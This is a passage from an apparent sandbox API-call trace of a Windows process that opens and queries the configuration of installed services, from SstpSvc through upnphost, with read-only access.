lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sstpsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sstpsvc", cchWideChar=7, lpMultiByteStr=0x1d200f8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sstpsvc", lpUsedDefaultChar=0x0) returned 7 [0028.139] OpenServiceW (hSCManager=0x286c38, lpServiceName="SstpSvc", dwDesiredAccess=0x1) returned 0x286d28 [0028.140] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.140] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.140] GetLastError () returned 0x7a [0028.140] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20140, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stisvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stisvc", cchWideChar=6, lpMultiByteStr=0x1d20140, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stisvc", lpUsedDefaultChar=0x0) returned 6 [0028.140] OpenServiceW (hSCManager=0x286c38, lpServiceName="stisvc", dwDesiredAccess=0x1) returned 0x286e18 [0028.140] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.141] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.141] GetLastError () returned 0x7a [0028.141] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20188, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="storsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="storsvc", cchWideChar=7, lpMultiByteStr=0x1d20188, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="storsvc", lpUsedDefaultChar=0x0) returned 7 [0028.141] OpenServiceW (hSCManager=0x286c38, lpServiceName="StorSvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.141] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.141] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.142] GetLastError () returned 0x7a [0028.142] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d201d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="swprv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="swprv", cchWideChar=5, lpMultiByteStr=0x1d201d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swprv", lpUsedDefaultChar=0x0) returned 5 [0028.142] OpenServiceW (hSCManager=0x286c38, lpServiceName="swprv", dwDesiredAccess=0x1) returned 0x286dc8 [0028.142] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.142] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.142] GetLastError () returned 0x7a [0028.143] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20218, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysmain", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysmain", cchWideChar=7, lpMultiByteStr=0x1d20218, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysmain", lpUsedDefaultChar=0x0) returned 7 [0028.143] OpenServiceW (hSCManager=0x286c38, lpServiceName="SysMain", dwDesiredAccess=0x1) returned 0x286d28 [0028.143] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.143] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.143] GetLastError () returned 0x7a [0028.143] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x134, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletinputservice", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletinputservice", cchWideChar=18, lpMultiByteStr=0x1d20260, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletinputservice", lpUsedDefaultChar=0x0) returned 18 [0028.144] OpenServiceW (hSCManager=0x286c38, lpServiceName="TabletInputService", dwDesiredAccess=0x1) returned 0x286e18 [0028.144] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.144] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.144] GetLastError () returned 0x7a [0028.144] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d202a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tapisrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tapisrv", cchWideChar=7, lpMultiByteStr=0x1d202a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tapisrv", lpUsedDefaultChar=0x0) returned 7 [0028.144] OpenServiceW (hSCManager=0x286c38, lpServiceName="TapiSrv", dwDesiredAccess=0x1) returned 0x286d00 [0028.145] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.145] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.145] GetLastError () returned 0x7a [0028.145] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x136, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d202f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tbs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tbs", cchWideChar=3, lpMultiByteStr=0x1d202f0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tbs", lpUsedDefaultChar=0x0) returned 3 [0028.145] OpenServiceW (hSCManager=0x286c38, lpServiceName="TBS", dwDesiredAccess=0x1) returned 0x286dc8 [0028.145] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.145] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.146] GetLastError () returned 0x7a [0028.146] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20338, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservice", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservice", cchWideChar=11, lpMultiByteStr=0x1d20338, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservice", lpUsedDefaultChar=0x0) returned 11 [0028.146] OpenServiceW (hSCManager=0x286c38, lpServiceName="TermService", dwDesiredAccess=0x1) returned 0x286d28 [0028.146] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.146] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.146] GetLastError () returned 0x7a [0028.146] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20380, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="themes", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="themes", cchWideChar=6, lpMultiByteStr=0x1d20380, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="themes", lpUsedDefaultChar=0x0) returned 6 [0028.147] OpenServiceW (hSCManager=0x286c38, lpServiceName="Themes", dwDesiredAccess=0x1) returned 0x286e18 [0028.147] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.147] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.147] GetLastError () returned 0x7a [0028.147] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x100, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d203c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threadorder", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threadorder", cchWideChar=11, lpMultiByteStr=0x1d203c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="threadorder", lpUsedDefaultChar=0x0) returned 11 [0028.148] OpenServiceW (hSCManager=0x286c38, lpServiceName="THREADORDER", dwDesiredAccess=0x1) returned 0x286d00 [0028.148] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.148] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.148] GetLastError () returned 0x7a [0028.148] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20410, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trkwks", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trkwks", cchWideChar=6, lpMultiByteStr=0x1d20410, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trkwks", lpUsedDefaultChar=0x0) returned 6 [0028.148] OpenServiceW (hSCManager=0x286c38, lpServiceName="TrkWks", dwDesiredAccess=0x1) returned 0x286dc8 [0028.149] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.149] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.149] GetLastError () returned 0x7a [0028.149] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20458, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller", cchWideChar=16, lpMultiByteStr=0x1d20458, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trustedinstaller", lpUsedDefaultChar=0x0) returned 16 [0028.149] OpenServiceW (hSCManager=0x286c38, lpServiceName="TrustedInstaller", dwDesiredAccess=0x1) returned 0x286d28 [0028.149] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.149] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.150] GetLastError () returned 0x7a [0028.150] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller.exe", cchWideChar=20, lpMultiByteStr=0x1d204a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trustedinstaller.exe", lpUsedDefaultChar=0x0) returned 20 [0028.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect", cchWideChar=9, lpMultiByteStr=0x1d204a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ui0detect", lpUsedDefaultChar=0x0) returned 9 [0028.150] OpenServiceW (hSCManager=0x286c38, lpServiceName="UI0Detect", dwDesiredAccess=0x1) returned 0x286e18 [0028.150] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.150] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.150] GetLastError () returned 0x7a [0028.150] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x104, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect.exe", cchWideChar=13, lpMultiByteStr=0x1d204e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ui0detect.exe", lpUsedDefaultChar=0x0) returned 13 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="umrdpservice", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="umrdpservice", cchWideChar=12, lpMultiByteStr=0x1d204e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="umrdpservice", lpUsedDefaultChar=0x0) returned 12 [0028.151] OpenServiceW (hSCManager=0x286c38, lpServiceName="UmRdpService", dwDesiredAccess=0x1) returned 0x286d00 [0028.151] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.151] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.151] GetLastError () returned 0x7a [0028.151] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x186, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20530, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnphost", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnphost", cchWideChar=8, lpMultiByteStr=0x1d20530, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnphost", lpUsedDefaultChar=0x0) returned 8 [0028.152] OpenServiceW (hSCManager=0x286c38, lpServiceName="upnphost", dwDesiredAccess=0x1) returned 0x286dc8 [0028.152] CloseServiceHandle (hSCObject=0x286d00) returned 